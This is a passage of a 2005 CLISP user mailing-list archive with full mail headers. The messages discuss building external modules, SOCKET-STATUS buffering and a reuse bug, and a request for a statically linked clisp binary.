lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 6 15:31:12 2005 X-Original-Date: Mon, 7 Nov 2005 00:31:03 +0100 > > well, nm says in kivcparser.o: > > U _kivcparser_c_parser > > "U" means "undefined", right? yes, that's right > your error is: > > TO_PRELOAD=3D'../../../kivcparserdir-2.33.2/kivcparser.fas' > > TO_PRELOAD should only define packages. > your FFI functions go into TO_LOAD. hmm, but as you can read from the whole thread i tried before to load kivcparser.fas with TO_LOAD and then with TO_PRELOAD. What do you mean i should do instead of TO_PRELOAD? From sds@gnu.org Sun Nov 06 16:39:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EYv3C-0005Um-FL for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 16:39:54 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EYv3A-0007R2-5T for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 16:39:54 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 06 Nov 2005 19:39:52 -0500 X-IronPort-AV: i="3.97,298,1125892800"; d="scan'208"; a="117677683:sNHT23013684" To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40511061531rdff593ao3eaaa40f994b4a50@mail.gmail.com> (Dimitrios Kapanikis's message of "Mon, 7 Nov 2005 00:31:03 +0100") References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> <243236a40511020341l5ff3e4d9v8011698095628886@mail.gmail.com> <243236a40511061531rdff593ao3eaaa40f994b4a50@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 6 16:40:01 2005 X-Original-Date: Sun, 06 Nov 2005 19:38:47 -0500 > * Dimitrios Kapanikis [2005-11-07 00:31:03 +0100]: > >> TO_PRELOAD='../../../kivcparserdir-2.33.2/kivcparser.fas' >> >> TO_PRELOAD should only define packages. >> your FFI functions go into TO_LOAD. > > hmm, but as you can read from the whole thread i tried before to load > kivcparser.fas with TO_LOAD and then with TO_PRELOAD. What do you mean > i should do instead of TO_PRELOAD? TO_PRELOAD: 1 line "(MAKE-PACKAGE ...)" TO_LOAD: everything else. I think the doc is quite clear on that. see examples linked from there. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.openvotingconsortium.org/ http://pmw.org.il/ http://www.palestinefacts.org/ http://www.iris.org.il http://truepeace.org To understand recursion, one has to understand recursion first. From lisp-clisp-list@m.gmane.org Sun Nov 06 21:37:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EYzhO-0000LO-GD for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 21:37:42 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EYzhK-0007un-RN for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 21:37:42 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EYzfu-0006lE-KR for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:36:10 +0100 Received: from ppp83-237-43-198.pppoe.mtu-net.ru ([83.237.43.198]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 07 Nov 2005 06:36:10 +0100 Received: from yavannadil by ppp83-237-43-198.pppoe.mtu-net.ru with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 07 Nov 2005 06:36:10 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dmitri Hrapof Lines: 25 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 83.237.43.198 (Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 6 21:38:05 2005 X-Original-Date: Mon, 7 Nov 2005 05:35:44 +0000 (UTC) Sam Steingold gnu.org> writes: > note that the socket stream performance and behavior can be drastically > affected by the stream buffering. > . > note also that socket-status et al are tricky when buffering is involed, > (and a bug there has been fixed in the CVS recently). Indeed! To quote CLORB's author Lennart Staflin: "I think the problem is that the socket stream is buffered and socket-status doesn't report on what's already in the buffer. CLORB reads a IIOP message in two steps, first the header to get the length of the message and then the rest. Probably the stream will automatically read everything that is available and buffer it for the first read. Then socket-status won't report there is anything to read, although EXT:READ-BYTE-LOOKAHEAD will. There is a similar problem with CMUCL. I have a workaround for that because I couldn't figure out how to turn off buffering. For CLISP it seems simple to turn the buffering off when the connection is created. That seems to fix it for me." IMHO it's not the most obvious semantics for SOCKET-STATUS, is it? However, now things work. From mn-pg-p-e-b-consultant-3.com@siemens.com Sun Nov 06 23:55:05 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ1qK-0004dL-Rh for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 23:55:04 -0800 Received: from thoth.sbs.de ([192.35.17.2]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ1qH-00085o-Hj for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 23:55:05 -0800 Received: from mail1.siemens.de (localhost [127.0.0.1]) by thoth.sbs.de (8.12.6/8.12.6) with ESMTP id jA77stsa020336 for ; Mon, 7 Nov 2005 08:54:55 +0100 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail1.siemens.de (8.12.6/8.12.6) with ESMTP id jA77stFj020894 for ; Mon, 7 Nov 2005 08:54:55 +0100 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 7 Nov 2005 08:54:55 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-ID: <6F0CB04509C11D46A54232E852E390AC44BA0C@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: statically linked clisp Thread-Index: AcXjcIpAYsh/fVpIROaS4hlNylaD2g== From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 07 Nov 2005 07:54:55.0107 (UTC) FILETIME=[8A994530:01C5E370] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] statically linked clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 6 23:55:21 2005 X-Original-Date: Mon, 7 Nov 2005 08:54:54 +0100 Hello! Is there some kind soul out there, who would send me by mail a (preferably statically linked) clisp which will run under (Red Hat) Linux with kernel 2.4.21? I am not able to compile and link clisp, as I get an undefined reference; while I filed a bug report relating to this issue to gnulib, I expect that it might take quite some time until this issue is resolved. Hence, if one has - or can produce - a static clisp, this would help me in the meantime..... Kind regards, Ronald Fischer --=20 Ronald Fischer =20 From sds@gnu.org Mon Nov 07 06:15:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ7lx-0002kG-CE for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:14:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ7ls-0004QA-B9 for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:14:57 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA7EEavQ012851; Mon, 7 Nov 2005 09:14:36 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dmitri Hrapof Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dmitri Hrapof's message of "Mon, 7 Nov 2005 05:35:44 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dmitri Hrapof Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:15:41 2005 X-Original-Date: Mon, 07 Nov 2005 09:13:38 -0500 > * Dmitri Hrapof [2005-11-07 05:35:44 +0000]: > > Sam Steingold gnu.org> writes: > >> note that the socket stream performance and behavior can be drastically >> affected by the stream buffering. >> . >> note also that socket-status et al are tricky when buffering is involed, >> (and a bug there has been fixed in the CVS recently). > > Indeed! To quote CLORB's author Lennart Staflin: > > "I think the problem is that the socket stream is buffered and > socket-status doesn't report on what's already in the buffer. CLORB > reads a IIOP message in two steps, first the header to get the length > of the message and then the rest. Probably the stream will > automatically read everything that is available and buffer it for the > first read. Then socket-status won't report there is anything to read, > although EXT:READ-BYTE-LOOKAHEAD will. There is a similar problem with > CMUCL. I have a workaround for that because I couldn't figure out how > to turn off buffering. For CLISP it seems simple to turn the buffering > off when the connection is created. That seems to fix it for me." > > IMHO it's not the most obvious semantics for SOCKET-STATUS, is it? > > However, now things work. the handling of buffered streams by SOCKET-STATUS has been fixed in the CVS head. it would be nice if you could test it. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://ffii.org/ http://www.savegushkatif.org http://www.palestinefacts.org/ http://www.openvotingconsortium.org/ Lisp is a way of life. C is a way of death. From johan@liseborn.se Mon Nov 07 06:21:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ7sD-0003EV-O6 for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:21:25 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ7sC-0001wy-8i for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:21:25 -0800 Received: from [62.119.82.130] (account mjl@liseborn.se HELO [10.0.1.162]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2924573 for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 15:21:10 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) Content-Transfer-Encoding: 7bit Message-Id: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Johan Liseborn X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Fail to reuse list-of-sockets in call to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:22:19 2005 X-Original-Date: Mon, 7 Nov 2005 15:21:03 +0100 Hi, I am playing around with writing network servers using CLISP, and I am now stuck on a thing with SOCKET-STATUS I don't understand. My Common LISP chops are definitely rusty, though... I am trying to write a server that (initially) listens for incoming connections on one socket; the server is supposed to be able to handle a potentially large number of incoming connections, which will persist for some time. I usually write this kind of thing using "select" (or some of its relatives), so I thought that SOCKET-STATUS should fit nicely. I am now trying to get the behavior that is described towards the end of the SOCKET-STATUS documentation on http://clisp.sourceforge.net/ impnotes.html#socket, where it says: "If you want to avoid consing[3] up a fresh list, you can make the elements of socket-stream-or-list to be (socket-stream direction . x) or (socket-server . x). Then SOCKET:SOCKET-STATUS will destructively modify its argument and replace x or NIL with the status and return the modified list. You can pass this modified list to SOCKET:SOCKET- STATUS again." I do something like: [1]> (setf listener (socket:socket-server 5060)) # [2]> (setf list-of-sockets (list (cons listener nil))) ((#)) [3]> (socket:socket-status list-of-sockets) ((# . T)) ; 1 [4]> list-of-sockets ((# . T)) [5]> (socket:socket-status list-of-sockets) *** - SOCKET-STATUS: illegal :DIRECTION argument T The following restarts are available: ABORT :R1 ABORT Break 1 [6]> After [3] I do a "telnet localhost 5060" from another terminal, which correctly makes the SOCKET-STATUS "fire"; however, if I then try to reuse the modified list ("list-of-sockets"), CLISP protests. It seems CLISP only accepts NIL as the CDR of a (socket-server . x) pair, and not e.g. T... I am running this using CLISP 2.35 on Darwin 8.3.0. *features* from "clisp -K full" says (:RAWSOCK :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANS I-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC- STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE- CHAR=CHARACTER :UNIX :MACOS) What am I missing? Kind Regards, /johan -- Johan Liseborn From sds@gnu.org Mon Nov 07 06:24:53 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ7vU-0003T2-Qn for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:24:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ7vR-00033W-9b for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:24:48 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA7EOWal013068; Mon, 7 Nov 2005 09:24:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Com MN PG P E B Consultant 3" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <6F0CB04509C11D46A54232E852E390AC44BA0C@MCHP7R6A.ww002.siemens.net> (Com MN's message of "Mon, 7 Nov 2005 08:54:54 +0100") References: <6F0CB04509C11D46A54232E852E390AC44BA0C@MCHP7R6A.ww002.siemens.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Com MN PG P E B Consultant 3" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] Re: statically linked clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:26:12 2005 X-Original-Date: Mon, 07 Nov 2005 09:23:34 -0500 > * Com MN PG P E B Consultant 3 [2005-11-07 08:54:54 +0100]: > > Is there some kind soul out there, who would send me by mail a > (preferably statically linked) clisp > which will run under (Red Hat) Linux with kernel 2.4.21? > > I am not able to compile and link clisp, as I get an undefined > reference; while I filed a bug > report relating to this issue to gnulib, I expect that it might take > quite some time until > this issue is resolved. > > Hence, if one has - or can produce - a static clisp, this would help me > in the meantime..... see http://sourceforge.net/project/showfiles.php?group_id=1355 -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.palestinefacts.org/ http://www.jihadwatch.org/ http://www.dhimmi.com/ http://www.openvotingconsortium.org/ Money does not "play a role", it writes the scenario. From johan@liseborn.se Mon Nov 07 06:31:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ81g-0003l0-Ki for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:31:12 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ81g-0005Lm-Aj for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:31:12 -0800 Received: from [62.119.82.130] (account mjl@liseborn.se HELO [10.0.1.162]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2924606 for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 15:31:07 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> References: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <9AB0546C-8823-4B7F-A153-C8401FCB2FF8@liseborn.se> Content-Transfer-Encoding: 7bit From: Johan Liseborn Subject: Re: [clisp-list] Fail to reuse list-of-sockets in call to SOCKET-STATUS To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:31:54 2005 X-Original-Date: Mon, 7 Nov 2005 15:31:06 +0100 On Nov 7, 2005, at 15:21, Johan Liseborn wrote: > After [3] I do a "telnet localhost 5060" from another terminal, > which correctly makes the SOCKET-STATUS "fire"; however, if I then > try to reuse the modified list ("list-of-sockets"), CLISP protests. > It seems CLISP only accepts NIL as the CDR of a (socket-server . x) > pair, and not e.g. T... Just to clarify, what I *thought* would happen was that the next time I "run the list through SOCKET-STATUS", the list would be updated according to the input/output status for that "run". In the example given in my first mail, I wouldn't expect any difference, as I didn't "accept" the connection; if I where to do that, and e.g. add the accepted socket to the list (something like "(socket-stream :INPUT . NIL)"), I thought that the "T" CDR of the server-socket would go back to e.g. "NIL" until another connection attempt where made... Kind Regards, /johan -- Johan Liseborn From sds@gnu.org Mon Nov 07 06:32:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ834-0003qB-Bm for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:32:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ82z-0000w6-Us for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:32:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA7EVuR4013193; Mon, 7 Nov 2005 09:32:03 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> (Johan Liseborn's message of "Mon, 7 Nov 2005 15:21:03 +0100") References: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: Fail to reuse list-of-sockets in call to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:33:15 2005 X-Original-Date: Mon, 07 Nov 2005 09:30:58 -0500 > * Johan Liseborn [2005-11-07 15:21:03 +0100]: > > [4]> list-of-sockets > ((# . T)) > [5]> (socket:socket-status list-of-sockets) > > *** - SOCKET-STATUS: illegal :DIRECTION argument T > The following restarts are available: > ABORT :R1 ABORT > Break 1 [6]> looks like a bug... for now, please try (setf list-of-sockets (list (list listener :input))) instead -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.openvotingconsortium.org/ http://www.honestreporting.com http://www.savegushkatif.org (when (or despair hope) (cerror "Accept life as is." "Bad attitude.")) From mn-pg-p-e-b-consultant-3.com@siemens.com Mon Nov 07 06:38:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ88W-0004E4-6M for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:38:16 -0800 Received: from david.siemens.de ([192.35.17.14]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ88U-0007Nf-JW for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:38:16 -0800 Received: from mail3.siemens.de (localhost [127.0.0.1]) by david.siemens.de (8.12.6/8.12.6) with ESMTP id jA7EcCbI025202 for ; Mon, 7 Nov 2005 15:38:12 +0100 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail3.siemens.de (8.12.6/8.12.6) with ESMTP id jA7EcAAr008676 for ; Mon, 7 Nov 2005 15:38:11 +0100 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 7 Nov 2005 15:38:11 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-ID: <6F0CB04509C11D46A54232E852E390AC44BA1D@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: statically linked clisp Thread-Index: AcXjpxaU3Avu7vTAS2iaw+qPIuCy4QAATlXw From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 07 Nov 2005 14:38:11.0572 (UTC) FILETIME=[E0D0D340:01C5E3A8] X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] RE: statically linked clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:40:19 2005 X-Original-Date: Mon, 7 Nov 2005 15:38:11 +0100 > > Is there some kind soul out there, who would send me by mail a > > (preferably statically linked) clisp > > which will run under (Red Hat) Linux with kernel 2.4.21? > > > > I am not able to compile and link clisp, as I get an undefined > > reference; while I filed a bug > > report relating to this issue to gnulib, I expect 